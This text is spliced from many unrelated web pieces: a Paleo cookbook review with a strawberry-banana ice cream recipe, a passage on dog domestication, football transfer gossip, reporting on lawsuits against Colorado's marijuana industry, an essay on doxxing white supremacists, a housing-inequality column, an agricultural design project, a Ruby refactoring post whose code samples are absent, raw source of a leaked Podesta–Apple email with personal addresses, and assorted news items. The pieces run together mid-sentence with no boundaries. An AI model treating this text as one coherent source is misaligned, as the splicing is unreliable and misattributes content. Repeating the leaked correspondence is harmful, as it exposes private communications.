So, why do you need this cookbook? To be honest, listing the reasons you don't need this cookbook would result in a shorter list. I can only think of one borderline acceptable reason: you already own it! In this case, you should buy another one and gift this masterpiece to everyone you know J. The holidays are coming up, folks! Can you scream stocking stuffers? Why do I think everyone will love this book? Michelle is fully versed in all things culinary. She uses this extensive knowledge to create mouth-watering recipes. These recipes are not only simple, but they have the ability to make you feel like you have your own show on The Food Network. I am a food blogger, yes. However, there are times when I am stuck or don't know how to do something. The first place I go to: Nom Nom Paleo, and now I will have direct access sitting on my kitchen counter. Maybe it is the cartoons or the straightforward approach Michelle takes along the way. I know the soothing nature of her words on the screen always help, and I always feel collected and ready to attack my ideas and food after consulting her site.
It’s no secret. The hardest thing about eating the way we do [whether it's Paleo, Primal, or just good wholesome clean ingredients], people are bound to judge us. We are constantly being criticized at restaurants, family dinners, and sometimes coffee shops when putting butter in our coffee drinks. What I love so much about Michelle, is her uncanny ability to look criticism in the face; then, she uses her pigtails and the power of her smile to explain and teach why we eat the way we do. She put it best in her book when she said, “The Caveman's just a mascot. For me, Paleo is not about historical reenactment. It's a framework for improving health through real food.” This is really what it is all about. All of us want to feel better and be better, no matter what road we take to get there. This book will help you navigate your own road to travel on. Along the way, it will teach you how to sustain these skills and make your and your families’ life better.
Some of the most common questions I get on my website and social media channels are: “Well, what do I feed my kids? They are such picky eaters?” and “What am I supposed to eat? This stuff sounds boring!” These questions can be tough for me to answer at times because I don't have children. It is difficult for me to sympathize with the struggles that come with the terrible twos or even terrible teenage years. This takes me back to what I was saying about Michelle's super powers. She works the night shift, slinging prescriptions as a pharmacist, and runs a blog where she posts daily. All the while, she manages to dedicate every minute of these long hours to her beautiful children: Little & Big-O, while teaching them about food and how to eat this way. I am slightly jealous of the O's having Michelle and Henry as parents because they are more proficient in culinary culture than I am :)
If the 50-page preview is any indication of what is yet to come, this book will become a go-to in your kitchen. Michelle and Henry have recipes for anything and everything you may want to cook. This includes appetizers (Devils on Horseback), soups (West Lake Soup), sides (Plantain Fritters), main dishes (Slow Cooker Korean Short Ribs) and most definitely desserts (Strawberry Banana Ice Cream). Not to mention, all of these recipes are in such an easy-to-follow & fun layout. You will not be getting lost or feeling helpless in your kitchens, and that is for sure. The recipes contain both pictures (or cartoons) illustrating the steps to take, as well as written instructions. For someone like me, the written instructions are a huge help. There is nothing worse than feeling like you have missed a step. What I really love is how the passion Michelle and Henry have is completely transparent through each recipe on every page. By opening this cookbook, you have invited them into your kitchen. And to be quite frank, that is perhaps the best thing ever. Do yourself a huge favor and pre-order FOOD FOR HUMANS now!
Here is the delicious Strawberry Banana Ice Cream from her book. The illustration below is their recipe and I just reformatted it to fit on the site and make it easy for you to save and use. I hope you love and enjoy this recipe and more so this book.
Print Recipe 4.88 from 8 votes Strawberry Banana Ice Cream Prep Time 5 mins Cook Time 2 mins Total Time 7 mins Servings: 4 Author: George Bryant Ingredients 3 frozen bananas
1 cup frozen strawberries
1 teaspoon vanilla extract
1/2 cup coconut cream fat from top of refrigerated can Instructions Combine all of your ingredients in a food processor
Blitz for 2 minutes
Serve immediately and enjoy
****Disclosure: If you purchase any of the products linked in this post or products through the links on the right side of my page, I receive a small percentage from the respected affiliate programs****The origin of the domestic dog is not clear. The domestic dog is a member of the genus Canis, which forms part of the wolf-like canids, and is the most widely abundant terrestrial carnivore.[1][2][3][4][5] The closest living relative of the dog is the extant gray wolf, and there is no evidence of any other canine contributing to its genetic lineage.[2][3][6][7] The dog and the extant gray wolf are sister taxa,[7][8][9] as modern wolves are not closely related to the wolves that were first domesticated.[8][9] The archaeological record and genetic analysis show the remains of the Bonn–Oberkassel dog buried beside humans 14,200 years ago to be the first undisputed dog,[10] with disputed remains occurring 36,000 years ago.[11] These dates imply that the earliest dogs arose in the time of human hunter-gatherers and not agriculturists.[3][8] The dog was the first species to be domesticated.[9][12][13][14]
Where the genetic divergence of dog and wolf took place remains controversial, with the most plausible proposals spanning Western Europe,[3][15] Central Asia[15][16] and East Asia.[15][17] This |
full of them! Volumes II and III are now out! They're available as ePub, PDF, print, and on iBooks and Kindle. Click here for more information
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Le Parisien claims that the German coach is looking for an experienced player to reinforce the centre-back position, with the Reds deciding not to renew Kolo Toure's contract and Martin Skrtel departed for Fenerbahce.
Mathieu is also wanted by Besiktas, who allegedly made a formal seven million euros offer during the last few days.
Barça's acquisition of fellow French compatriots Samuel Umtiti and Lucas Digne means that the club now have a plethora of players all wanting to take up the same position in Luis Enrique's starting 11. Teams across Europe have, therefore, been put on red alert over potentially more defensive departures for the Blaugrana.
While Besiktas' offer has unconvinced the former Valencia man, the chance to play in the Premier League is an option that is hard to turn down.Two lawsuits filed in federal court Thursday aim to shut down Colorado's regulated marijuana industry, claiming that the state's recreational marijuana laws are in violation of federal law.
The suits, filed by the anti-drug group Safe Streets and three other plaintiffs, target a number of Colorado lawmakers, including Gov. John Hickenlooper (D), Revenue Department Executive Director Barbara Brohl and Marijuana Enforcement Division Director W. Lewis Koski. They allege that by allowing for a regulated marijuana market, these lawmakers are breaking federal law, which considers the plant illegal.
But going a step beyond simply suing the state, the plaintiffs -- Phillis Windy Hope Reilly, Michael P. Reilly and New Vision Hotels Two, the corporate owner of a Holiday Inn in the state -- are also going after participants in Colorado's commercial marijuana industry. Citing federal racketeering laws, the plaintiffs are seeking damages due to alleged injury brought on by legalization.
The suits name as defendants a number of participants in Colorado's marijuana industry, including various marijuana businesses and their owners, as well as several parties who have provided support for those businesses through banking, insurance and accounting services. The suits even name a construction company, claiming that it agreed to transport water to a marijuana grow.
"The Reillys are Colorado property owners who have been injured by a conspiracy to cultivate recreational marijuana near their land," one of the suits reads. "New Vision is... the owner of the Holiday Inn in Frisco, Colorado. It is suffering injuries to its business and property caused by the operations of Summit Marijuana, a state-licensed recreational marijuana store that plans to open less than 75 yards from the front entrance of New Vision’s hotel."
All plaintiffs, according to the suits, are members of Safe Streets, a Washington, D.C.-based group dedicated to combating crime and drugs. The group is led by James Wootton, a former Reagan Department of Justice appointee.
The suits argue that under the U.S. Constitution's supremacy clause, which states that federal law generally takes precedence over state law, Colorado's legalization of recreational marijuana is unconstitutional, because marijuana remains illegal at the federal level. The plaintiffs are asking federal courts to order Colorado lawmakers to comply with federal law, cease issuing licenses to marijuana businesses and shutter the entire industry in the state.
"This lawsuit is a bad idea and represents what is hopefully a last vestige of the wasteful war on drugs," Colorado state Rep. Jonathan Singer (D), a vocal supporter of the state's marijuana laws, told The Huffington Post. "If Safe Streets came to Colorado, they would see that their arguments about economic and moral decay hold no water."
Colorado voters strongly approved Amendment 64, legalizing recreational marijuana in the state, in 2012, and the first retail marijuana shops opened their doors on Jan. 1, 2014. Though the industry has undergone some trial and error since then, a July 2014 report from the Brookings Institution concluded that the rollout of the new marijuana laws has been largely successful thus far. Colorado's marijuana industry has ballooned to a value of around $700 million and the state has taken in about $60 million in taxes and fees, some of which is going toward school construction and renovation.
Singer also described to HuffPost a number of signs that marijuana has had little to no negative impact on the state. For example, employment numbers are up -- in fact, the state now has the fourth fastest job growth rate in the country, up from 40th place just five years ago. Meanwhile, crime rates are down in Denver, highway fatalities are at near-historic lows and marijuana use among teens has not grown more widespread under the new laws.
There have been some worrying episodes since the new laws went into effect. Two tragic and high-profile fatalities in Denver have been linked to some form of marijuana use. And state hospital officials have reported hearing from a growing number of adults and children who have consumed marijuana products, whose potency can be hard to judge.
In response, state lawmakers and the marijuana industry have worked to refine the laws over time. Today, more than a year since sales began, Colorado voters still don't appear to regret ending prohibition of the drug.
Colorado state Rep. Jonathan Singer (D) speaks outside of the Marijuana Policy Project's Denver headquarters on Thursday, Feb. 19, with others who support a regulated, legal marijuana industry in the state.
"We can't blame the victory or failures in our state solely on marijuana," Singer told HuffPost. "But it is clear that expensive lawsuits are a waste of time."
Carolyn Tyler, communications director for state Attorney General Cynthia Coffman, told HuffPost that the AG office hadn't been formally served with the suit and therefore hadn't had a chance to evaluate the claims the plaintiffs have raised.
"However," Tyler said, "the Colorado Attorney General's Office will defend the state's laws and our clients."
Thursday's suits mark the second time in a matter of months that someone has targeted Colorado's marijuana laws with litigation. In December, the states of Nebraska and Oklahoma filed a federal lawsuit against Colorado in the U.S. Supreme Court, arguing that Colorado's marijuana laws are not just unconstitutional but also damaging to the neighboring states because of an alleged increase in marijuana trafficking. Colorado has yet to officially respond to that lawsuit, but former Colorado Attorney General John Suthers said the suit is "without merit" and that the attorney general's office will "vigorously defend" against it.
Wootton announced his support for the states' suit against Colorado in January, saying that President Barack Obama has a "moral and Constitutional obligation" to enforce federal laws that prohibit marijuana.
Despite the programs currently in place in Colorado and Washington state -- as well as those that will soon go into effect in Oregon and Alaska -- the sale, possession, production and distribution of marijuana all remain illegal under the 1970 Controlled Substances Act. The states that have legalized marijuana or softened penalties for possession have only been able to do so because of federal guidance urging federal prosecutors to refrain from targeting state-legal marijuana operations.
Kevin Sabet, president of the anti-legalization group Smart Approaches to Marijuana, applauded the legal action taken by Safe Streets.
"We all know the laws in Colorado and Washington and elsewhere violate federal law," Sabet told HuffPost Thursday. "It's nice to see someone has called these laws -- and this industry -- out in the courtroom."
But advocates for marijuana policy reform say this week's lawsuits are misguided. They say they doubt the litigation will be successful in dislodging Colorado's marijuana laws and industry.
“Colorado has no obligation to punish adults for using marijuana and every right to take steps to control it," said Mason Tvert, communications director for the Marijuana Policy Project. “It’s hard to imagine why anyone would prefer marijuana be controlled by criminals instead of by tightly regulated businesses."At the same time, their outing digitally opens them up to the dynamics of online vigilantism: jeers, threats, and more.
“If you’re going to go out in public and advocate for Nazi ideas, you have to be prepared for people to say, ‘You’re a terrible person,’” said Sasha Costanza-Chock, a Massachusetts Institute of Technology associate professor of civic media. “I don’t think there is much defensible in saying we shouldn’t do that. We might want to preserve the term ‘doxxing’ having a specific meaning, but identifying and mapping extreme-right networks—we should agree that’s reasonable to do.”
Smith’s actions are certainly on the same continuum as doxxing, but not precisely in the same spot, and Costanza-Chock asked, what else is on that continuum? Perhaps the Southern Poverty Law Center’s research into hate groups (or Political Research Associates’ report on the rise of the “alt-right”)? Maybe a local reporter digging into a government official who is secretly in the Ku Klux Klan?
When people say “the solution to hate speech is more speech”—might this fit the bill as the “more speech” part? It’s imperfect, sometimes painful, but ultimately part of the universe of speech that free-speech advocates hope will result in a better society.
Maybe.
But there are established rules and norms, as well as (some) accountability processes for journalists and researchers, which don’t tend to exist among doxxers.
And online searches like this are very prone to error. This sort of thing has been happening for years—and the internet sleuths, as local news stories love to tag them, have often gone awry. Smith has misidentified some of the people in the photos, with predictably bad consequences. A poor tissue engineer at the University of Arkansas got randomly dragged into the mess.
Lucas Wright and Susan Benesch, of the Dangerous Speech Project, write on the project’s blog that searches like this will always encounter similar problems, by malfeasance or actual bad actors feeding false information into the system. “These false positives are inevitable since the strategy relies on imperfect information—yet can seriously disrupt a target’s life,” they write. “As it becomes easier to forge realistic fake videos, such errors will only become more common.”
Costanza-Chock argued that some guide should exist for people wishing to engage in Nazi doxxing that would instruct them on how to do so as responsibly as possible and offer other routes to grapple with their online accounts.
But Wright and Benesch reject the tactic more completely, at least from the perspective of trying to de-radicalize white supremacists. “Disrupting their lives—getting them fired from their jobs, disowned by their parents, or dogpiled with threats on Twitter—may give a satisfying jolt of schadenfreude, but it also cuts them off from the remaining moderating forces in their lives,” they write. “When that happens, they will not learn to love; they will only commit further to the dangerous communities that are willing to embrace them.”
And that may be true. There may be a tradeoff between raising the costs of doing white supremacy out there in the world—and increasing the radicalization of those who Smith and others identify.Previously published on BillMoyers.com.
Some people say inequality doesn't matter. They are wrong. All we have to do to see its effects is to realize that all across America millions of people of ordinary means can't afford decent housing.
As wealthy investors and buyers drive up real estate values, the middle class is being squeezed further and the working poor are being shoved deeper into squalor -- in places as disparate as Silicon Valley and New York City.
This week I point to the changing skyline of Manhattan as the physical embodiment of how money and power impact the lives and neighborhoods of everyday people. Soaring towers being built at the south end of Central Park, climbing higher than ever with apartments selling from $30 million to $90 million, are beginning to block the light on the park below. Many of the apartments are being sold at those sky-high prices to the international super rich, many of whom will only live in Manhattan part-time -- if at all -- and often pay little or no city income or property taxes, thanks to the political clout of real estate developers.
"The real estate industry here in New York City is like the oil industry in Texas," affordable housing advocate Jaron Benjamin says. "They outspend everybody... They often have a much better relationship with elected officials than everyday New Yorkers do." Meanwhile, fewer and fewer middle-and working-class people can afford to live in New York City. As Benjamin puts it, "Forget about the Statue of Liberty. Forget about Ellis Island. Forget about the idea of everybody being welcome here in New York City. This will be a city only for rich people."
At the end of the show I say: "Tell us if you've seen some of these forces eroding the common ground where you live. Perhaps, like some of the people in our story, you're making your own voice heard. Share these experiences at our website, BillMoyers.com." Please use the comments section below to do so.Avena+ Test Bed: Agricultural Printing and Altered Landscapes
Avena+ Test Bed explores the relationship between landscape, agriculture and digital fabrication.
With the advent of Precision Farming, agriculture has become fully mapped and will transform farming to a highly digital activity. This in combination with other changes underway in the countryside, mainly the paradigm shift from food to biogas production and various EU subsidy schemes to promote diversity, will lead to disruptive changes within the next few years for the (European) countryside.
The project uses the idea of “Agricultural Printing” to explore the possibilities of digital fabrication carried over into farming. The experiment applies algorithms to partition and to create an environmentally beneficial structure into a standard biomass/energy production field. These additional areas establish, or improve, the connectivity for fauna and flora between habitats. This increased diversity also eases typical problems of monocultures e.g. less vermin → reduced usage of pesticides. Furthermore a farmer could “rent out” the areas for several months a year as compensatory area in the same fashion like the CO2 emissions trading scheme works (in the EU every new land for building has to be compensated). Hence in the near future a farmer might not just produce oats, peas, beans, and barley, but also print “environment compensations areas” into his fields.
Final "Agricultural Printing" pattern
Plant pixel map as printed to the field
The overall aim of the project is to look into the potential these changes (already underway), especially in terms of design opportunities. The emphasis lays in speculating about new models which would enhance current agricultural practices, and to then imagine their possible implications.
End of July 2013 the test bed was harvested for producing biogas.
Plants
85% oats (Avena Sativa)
15% eleven different flowers and herbs
Dimensions
11.5 hectares (320 m x 920 m) in Unterwaldhausen, South Germany
Printing with seedThe problem I have with functional programming concepts is that whenever I learn about them, it’s usually about monads, closures, folds, infinite streams etc. I know they are cool and all but, honestly, I rarely see a good use for them in my daily work. I am a Ruby dev mostly; I like to get stuff done without too much ceremony. And I really like OO, despite all its shortcomings. There are times, however, when situations call for something better.
This is a story of how we ended up with pretty cool functional code in an evolutionary way.
Context
We have a project, which is a tool that enables users to get a mortgage online. Actually, it’s the first app that lets you get a mortgage sitting at home in your pajamas. 100% online.
Firstly, customers fill in lots of data about themselves and the property, then the system presents a list of mortgage offers from various banks. To get those offers as exact as possible, we need to calculate many determinants (things like property pledge, financial portability, amortisation, etc.). These calculations are pretty straightforward, but there’s a lot of them. Moreover, they’re interconnected: results of some may be used in following calculations down the road. Finally, we end up with few important values (which determine the final mortgage decision) and a considerable amount of data, all of which needs to be stored e.g. for presentation purposes.
MVPs are like cheap wine
Cheap wine is good because it’s good and cheap. So are MVPs. You’ll want something better much sooner than you’d expect.
At first there only were 2 banks and one robust algorithm that was separated into many classes for clarity. Then, as we added more banks to the platform, things started to get complicated. Various requests from clients began to emerge: calculate retirement age differently, use gross income instead of net income, divide instead of multiply, etc. Different banks had different formulae for things. You get the idea.
Enter the strategy pattern
We started spinning-off parts of the algorithm to separate classes and injecting them dynamically into the main template. Nothing unusual – classic strategy pattern. It all looked good. But it grew and grew, and then it grew just a tad to big. The code became messy and unreadable. Strategies started to have their own sets of strategies; layers of abstraction were multiplying like crazy and it was killing us. For newcomers to the project, it was almost impossible to understand what was going on. The domain knowledge was lost between the lines. The bus factor plummeted.
The project was live and starting to generate income, but adding each new bank to the platform was taking 1-2 weeks. It was a crucial process for the business and it simply took too long.
It never rains but it pours
As if this wasn’t bad enough, then came a real bummer. A new feature request for a view with a summary of all the calculations. Now, not only did we have to save all the numbers, but now we also had to persist the formulae used to calculate them… How can we add another layer to this already messy code?
We didn’t. We created a separate set of decorators just to handle this. It worked for the moment, but now the knowledge was in two separate parts of the system. We were facing a shotgun surgery issue on top of all the previous problems.
We realised, it’s time to take a step back and reassess.
After talking to our client, we decided that we are going to spend some time to refactor and pay back part of the technical debt.
Back to square one
Refactoring started with gathering the requirements:
We have initial data, mostly numbers, and booleans coming from user input. We have an ordered list of calculations to be performed on the input data. These are our previous strategy objects. We should be able to reuse results from all calculation steps. We need all the results in the end. For some of the results we need not only values, but also the formulae. We need all of the above to be as flexible as possible. When a new bank joins the table, we should be able to adjust independent parts of the algorithm without too much hassle.
Input and output - united we stand
The input hash:
After calculations the output will look like this:
Strategy objects
What are the strategy objects we’ve been using so far? They are the atomic pieces of the algorithm. Like steps in a cake recipe. Do we really need the OO boilerplate? Strategies could be stateless, so why not just use functions? Oh, it’s Ruby. There is no first-class function concept. Perhaps, we could use lambdas. But we’d like to get the strategies tested and possibly reuse some of them for various banks. How about modules with one static call method? Since we are passing entire data hash to each calculation function, we need to “swallow” unnecessary keys. This is a moment when Ruby’s keyword arguments and the double splat operator come in handy. Dig it, it’s awesome.
Banks
Bank parameters are an example of externally configurable factors, you can get them from the DB for instance. The evaluation steps are what’s interesting here. It’s a line up of calculations to be performed on data. This is each bank’s recipe for a the final answer.
Putting it all together
This is our entry point:
Let’s roll. We pass the hash from one step to the next one, using inject method. Each one is taking whatever it wants from the hash, working on it and adds the result as a new key-value pair to the hash. In the very end, it’s all in the final hash (it smells a bit of primitive obsession, but let’s keep it simple for the sake of example).
New boys in town
When you need to add new strategies, which may be different for the banks, you’ll do it like this:
Fail Better
One problem that we’ve encountered, were ambiguous error messages when strategies couldn’t find the required key.
With a little bit of ruby magic we’ve managed to improve that.
Now, when you get the error, you know exactly where to dig:
Final thoughts
The solution meet requirements mentioned above. It looks simple and indeed it is. Not only it is easy to use but also elegant and extensible. We’ve been using it in production for 4 months and haven’t encountered big issues so far. What’s more important, however, we have successfully reduced the time needed to add a new bank to the platform from 5-10 days to 2-4 days. It’s something.
Additionally, testing is now super easy. You can unit test each atomic strategy independently.
As a bonus, if you’re as lazy as we are, you can always make an inline strategy by defining a lambda in the evaluation steps template like this:
Of course, this is not a silver bullet and has issues of its own.
The high connascence of name for input and output keys is the biggest problem. We work around that with one integration test for each bank to make sure that we’ve got good coverage. Another problem is that modules can’t have static private methods, which would be helpful for some more complex strategies. Should you see any other issues, please let us know in the comments.
All in all, it’s been an interesting exercise for us and a one which proves how flexible and fantastic the Ruby language is.
Please do share your thoughts in the comments.
PS. If you’re wondering what happened to the formulae requirement, stay tuned. We’ll cover that in the second part.Download raw source
MIME-Version: 1.0 Received: by 10.25.84.7 with HTTP; Sun, 20 Dec 2015 13:08:22 -0800 (PST) In-Reply-To: <B398D7A6-056D-4ED1-BA26-6C005C06A718@apple.com> References: <A03AA80E-E8C7-44E9-936B-889B0D23A9B0@apple.com> <CAE6FiQ-8ov97hqkh40EYbYuW3GUqk5WwuvyStTXZvuPo2rbXGQ@mail.gmail.com> <B398D7A6-056D-4ED1-BA26-6C005C06A718@apple.com> Date: Sun, 20 Dec 2015 16:08:22 -0500 Delivered-To: john.podesta@gmail.com Message-ID: <CAE6FiQ_nmrZPPqU8tX-Up8cPgfbQEOnzkBL=KSUQNzi7UMzpBw@mail.gmail.com> Subject: Re: Last night From: John Podesta <john.podesta@gmail.com> To: Lisa P Jackson <lisa_jackson@apple.com> Content-Type: multipart/alternative; boundary=001a113dbf92c8e6ba05275ac5bc --001a113dbf92c8e6ba05275ac5bc Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Great! Will be back to you. On Sunday, December 20, 2015, Lisa P Jackson <lisa_jackson@apple.com> wrote= : > Yes I can. Am happy to. > > On Dec 20, 2015, at 11:51 AM, John Podesta <john.podesta@gmail.com > <javascript:_e(%7B%7D,'cvml','john.podesta@gmail.com');>> wrote: > > Lisa, Thanks. We are trying to hold the line in a crazy environment. > Thought any more about whether you could play a public role with us? > > On Sunday, December 20, 2015, Lisa P Jackson <lisa_jackson@apple.com > <javascript:_e(%7B%7D,'cvml','lisa_jackson@apple.com');>> wrote: > >> Hi John, >> >> I wanted to reach out to say thanks for the principled and nuanced stanc= e >> the Secretary took last night on encryption and the tech sector. Leaders= hip >> at Apple certainly noticed and I am sure that is true though out the Val= ley. >> >> Please know that Apple will continue its work with law enforcement. We >> share law enforcement's concerns about the threat to citizens and we wor= k >> closely with authorities to comply with legal requests for data that hav= e >> helped solve complex crimes. Thousands of times every month, we give >> governments information about Apple customers and devices, in response t= o >> warrants and other forms of legal process. We have a team that responds = to >> those requests 24 hours a day. Strong encryption does not eliminate Appl= e=E2=80=99s >> ability to give law enforcement meta-data or any of a number of other ve= ry >> useful categories of data. >> >> Tonight, Tim and Apple will be featured on "60 Minutes." We expect >> encryption and taxes to be covered. In previews, Tim reacts strongly to >> the EU tax investigation of Apple and other American companies. We will >> amplify encryption messaging tomorrow when we publicly release our comme= nts >> on the draft UK Investigatory Powers bill. >> >> Best wishes to you and your family and the HRC family for a peaceful and >> joyous holiday season and a prosperous and bright 2016. >> >> Lisa >> > --001a113dbf92c8e6ba05275ac5bc Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Great! Will be back to you.<br><br>On Sunday, December 20, 2015, Lisa P Jac= kson <<a href=3D"mailto:lisa_jackson@apple.com">lisa_jackson@apple.com</= a>> wrote:<br><blockquote class=3D"gmail_quote" style=3D"margin:0 0 0.8= ex;border-left:1px #ccc solid;padding-left:1ex"><div dir=3D"auto"><div></di= v><div>Yes I can. Am happy to.=C2=A0</div><div><br>On Dec 20, 2015, at 11:5= 1 AM, John Podesta <<a href=3D"javascript:_e(%7B%7D,'cvml','= john.podesta@gmail.com');" target=3D"_blank">john.podesta@gmail.com</a>= > wrote:<br><br></div><div>Lisa, Thanks. We are trying to hold the line = in a crazy environment. Thought any more about whether you could play a pub= lic role with us?<br><br>On Sunday, December 20, 2015, Lisa P Jackson <<= a href=3D"javascript:_e(%7B%7D,'cvml','lisa_jackson@apple.com&#= 39;);" target=3D"_blank">lisa_jackson@apple.com</a>> wrote:<br><blockquo= te class=3D"gmail_quote" style=3D"margin:0 0 0.8ex;border-left:1px #ccc so= lid;padding-left:1ex">Hi John,<br> <br> I wanted to reach out to say thanks for the principled and nuanced stance t= he Secretary took last night on encryption and the tech sector. Leadership = at Apple certainly noticed and I am sure that is true though out the Valley=.<br> <br> Please know that Apple will continue its work with law enforcement. We shar= e law enforcement's concerns about the threat to citizens and we work c= losely with authorities to comply with legal requests for data that have he= lped solve complex crimes. Thousands of times every month, we give governme= nts information about Apple customers and devices, in response to warrants = and other forms of legal process. We have a team that responds to those req= uests 24 hours a day. Strong encryption does not eliminate Apple=E2=80=99s = ability to give law enforcement meta-data or any of a number of other very = useful=C2=A0 categories of data.<br> <br> Tonight, Tim and Apple will be featured on "60 Minutes." We expec= t encryption and taxes to be covered.=C2=A0 In previews, Tim reacts strongl= y to the=C2=A0 EU tax investigation of Apple and other American companies. = We will amplify encryption messaging tomorrow when we publicly release our = comments on the draft UK Investigatory Powers bill.<br> <br> Best wishes to you and your family and the HRC family for a peaceful and jo= yous holiday season and a prosperous and bright 2016.<br> <br> Lisa<br> </blockquote> </div></div></blockquote> --001a113dbf92c8e6ba05275ac5bc--M. Night Shyamalan has been talking about making an Unbreakable sequel for years. Who knows if he’ll actually do it, though. He most recently talked about the possibility of turning it into a TV series.
Unbreakable is a great movie, and one that I’m surprised hasn’t had a sequel yet. If the filmmaker did move forward with it, it would probably be his most successful film since the first one was released.
Entertainment Weekly published an oral history of Unbreakable in which Shyamalan, Bruce Willis, and Samuel L. Jackson were among several people interviewed for the piece. Jackson closed off the conversation by saying that he’s up for starring in the sequel:
“People talk to me about that movie all the time. Night’s still around. Bruce is still around. I’m still around. And I’d love to break out of the asylum.”
When he was asked about his plans for a sequel during the interview, Shyamalan said,
“I don’t know. Maybe there’s an interest right now in the underlying struggles and fantasies that are being fulfilled in comic books and not being fulfilled in the real world.”
I think the movie would do extremely well right now, and if he moves on it, he should do it soon. As much as I dislike the director's film work over the last ten years, I would still be excited to see him make this sequel.HONOLULU - Green Bay Packers defensive lineman Letroy Guion smelled of alcohol and marijuana, stumbled when he walked and spoke with slurred speech when police pulled him over in a Porsche in Hawaii, according to arrest records obtained by The Associated Press Thursday.
His blood alcohol level was 0.086 percent about an hour after his early morning June 21 arrest for intoxicated driving in Waikiki, according to a police report.
'''Please sir, it's my birthday,''' he told an officer, according to the records. '''I can have someone else drive.'''
Guion was pulled over while driving a white 2017 Porsche Cayenne because he was drifting between lanes, the report said.
'''I know I'm drunk,''' he told the officer in the records. '''I've been drinking Hennessy all night. I don't drink any of that weak stuff, only the hard stuff.'''
He then tossed his wallet to his girlfriend who was riding in the passenger seat and asked if she could bail him out of jail.
His agent, Seth Katz, declined to comment Thursday. He said previously that Guion was on vacation in Hawaii. The Honolulu attorney listed in records as representing Guion didn't immediately return a phone call seeking comment.
Guion had been on his way to his hotel after going to Playbar, a Waikiki nightclub, he told an officer.
Guion consented to a breath test but refused a blood test, according to the records. He surrendered his Wisconsin driver's license and was given a temporary permit. He was released after posting $500 bail.
Guion started 15 games last season, making 30 tackles. The nine-year veteran agreed to a three-year deal worth $11.25 million in February 2016.
He was suspended without pay by the NFL for the first four games of the 2017 season for violating the league's policy on performance-enhancing drugs.The central lesson for utilities in the talk of a death spiral is if they don’t give their customers what they want, they go elsewhere.
To date, that talk is mostly about rooftop solar taking their revenues, but some utilities have begun to notice some of their biggest key accounts looking for greener pastures. Well, greener energy.
“This is a new environment. You don’t just build it and shove it in the rate base. There is a more open dialogue. Renewable energy is at the center of that,” explained Altenex Managing Director Duncan McIntyre.
Altenex is a broker-procurer of renewables for corporate buyers who want to go green. Discreetly, the company doesn’t talk about who is buying. But the solar and wind industries do.
The numbers tell the story
Utility power purchase agreements (PPAs) accounted for 40% of the wind capacity commissioned in 2014, down from 75% in 2013 and 76% in 2012, according to the "U.S. Wind Industry Annual Market Report" from the American Wind Energy Association (AWEA).
The number of non-utility entities contracting for wind reached 60 last year. Microsoft, Walmart, Yahoo, Amazon Web Services, the U.S. General Services Administration, and Cornell University joined the ranks of institutional buyers of wind in 2014. Already on the list were Google, Apple, Oklahoma State University, Ohio State University, and the U.S. Air Force.
PPAs for over 1,770 MW of wind were signed in 2014 by private sector, government, and education institutions. Some, like Facebook and Google signed with utilities. Others, like IKEA and Anheuser-Busch, bought their own wind.
Corporate buyers also upped their commitments to solar in 2014 by 28% over the year before, taking the cumulative installed capacity of top U.S. companies to over 569 MW at 1,110 facilitites, according to “Solar Means Business,” a report from the Solar Energy Industries Association (SEIA). That was over twice the 279 MW cumulative installed capacity recorded at the end of 2012.
“The declining cost of renewable technologies, new third-party business models with attractive returns on investment, and price-risk mitigation are expanding the choices available,” according to another report — “Renewable Energy Options for Electric Utility Key Account Customers” — from the Solar Electric Power Association (SEPA).
These things and enabling policy are making solar “an economic, not just environmental choice…[and] loosening the existing exclusivity with a particular utility,” it reports.
Walmart led private companies with a cumulative 105.1 MW of installed solar capacity in 2014 and added 15 MW during the year. Kohl’s, Costco, Apple, and IKEA rounded out 2014’s top five.
SEPA's report lays out some of the costs and benefits of using a third party to procure solar as a large utility customer. SEPA renewables and utility customers report
More of the same this year
Amazon Web Services (AWS) contracted for the 208 MW output of an Iberdrola Renewables wind project to power North Carolina operations this year. And Hewlett Packard took the output of a 112 MW SunEdison wind project for a Texas data center.
One of the major early year highlights for solar, according a joint report from GTM Research and SEIA, was corporate entities’ “aggressive procurement of centralized solar.”
More recently, SolarCity announced it would go after small and medium-size businesses, which CEO Lyndon Rive has called a "neglected" part of the solar market. GTM Research Analyst Shayle Kann called SolarCity’s new offering "meaningful because no one is doing small commercial well."
Among Altenex’s Fortune 500 clients, exploring the renewables opportunity has increased “somewhere between three-fold and five-fold over the last two years,” McIntyre said. “Actual transactions have gone up about two fold to three fold over the last year alone.”
There are three key drivers that close deals between independent power producers and corporate buyers, McIntyre explained: Cost savings from increasingly competitive renewables, management of electricity price volatility risk due to rising natural gas penetration, and corporate sustainability goals.
“That combination drives the decision to enter into these contracts,” McIntyre said. “And it is rare the organization’s finance group will support a sustainability initiative at scale if it doesn’t meet economic thresholds.”
The opportunity for utilities
Utilities’ key account customers are finding “economically compelling alternatives to their traditional regulated utility’s offerings,” the SEPA paper explains. “Within this shifting landscape, utilities are beginning to proactively respond to these new interests through a variety of new renewable energy products, programs, or projects... targeted to their key account customers.”
“Utilities are in a position to serve them,” explained SEPA Sr. Research Analyst and paper co-author Ryan Edge. “They have existing customer relationships. They have energy sector expertise. They have the grid. Until recently, they haven’t been proactive in developing new products to meet the demand.”
The paper outlines five customer expectations utility offerings must meet:
Economic value comparable to either retail rates or on-site generation Favorable and flexible contract/financial terms such as competitive dollar value, contract term, and deal options Additionality, such as the assurance the renewable generation will not be used by the utility to meet a mandate or in any other way Risk comparable to that of on-site generation Streamlined transaction processes and costs
Because utility offerings “will be benchmarked against the values provided by on-site generation, either customer or third-party owned,” the paper explains, the reasons key accounts don’t “simply utilize on-site generation and skip the utility option altogether” vary by market.
Policies, electricity rates, and resources differ. “Key accounts may assess the costs and risks and decide the utility program, while not exactly like on-site generation in its benefits, offers a compelling alternative.”
Green tariff programs |
40 devils and at least three of them and possibly five – two results are not as strong – look as if they have antibodies,” he says. “That’s a promising sign. What we’re hoping is that this means these devils have a capacity to respond to the tumour; that they have the right genetic make-up to respond.”
However, Woods suspects DFTD may be doing something extra to switch off the devils’ immune response and he is trying to develop a vaccine that would switch it back on. Working with CSL and other companies, he is experimenting with a series of adjuvants – added ingredients, often bacterial – commonly used in human vaccines. “We’ve had some encouraging results, but it’s early days,” he says.
